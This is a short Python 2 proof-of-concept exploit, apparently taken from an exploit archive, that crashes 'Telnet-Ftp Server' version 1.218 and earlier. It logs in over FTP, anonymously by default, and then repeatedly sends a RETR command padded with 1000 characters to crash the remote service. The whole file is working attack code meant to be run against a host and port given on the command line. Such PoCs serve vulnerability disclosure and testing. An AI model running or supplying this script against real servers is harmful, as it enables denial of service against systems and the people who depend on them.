#!/usr/bin/python
# Telnet-Ftp Server <=v1.218 Remote Crash PoC
# written by localh0t
# Date: 19/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
from socket import *
import sys, struct, os
if (len(sys.argv) < 3):
print "\nTelnet-Ftp Server <=v1.218 Remote Crash PoC"
print "\n Usage: %s <host> <port> \n" %(sys.argv[0])
sys.exit()
def checkDefaultUser(username,password):
if username == '' and password == '':
username = "anonymous"
password = "anonymous@test.com"
else:
pass
return username,password
def createUser():
username = raw_input("[!] Insert username (default: anonymous)> ")
password = raw_input("[!] Insert password (default: anonymous@test.com)> ")
return checkDefaultUser(username,password)
(username,password) = createUser()
print "\n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
print "[!] USERNAME: " + username
sock.send("USER " + username + "\r\n")
sock.recv(1024)
print "[!] PASSWORD: " + password
sock.send("PASS " + password + "\r\n")
sock.recv(1024)
print "[!] Sending payload..."
payload = "RETR " + ("X" * 1000) + "\r\n"
for i in range (1, 5):
sock.send(payload)
sock.recv(1024)
sock.close()
print "[!] Exploit succeed. Target should crashed."
sys.exit()
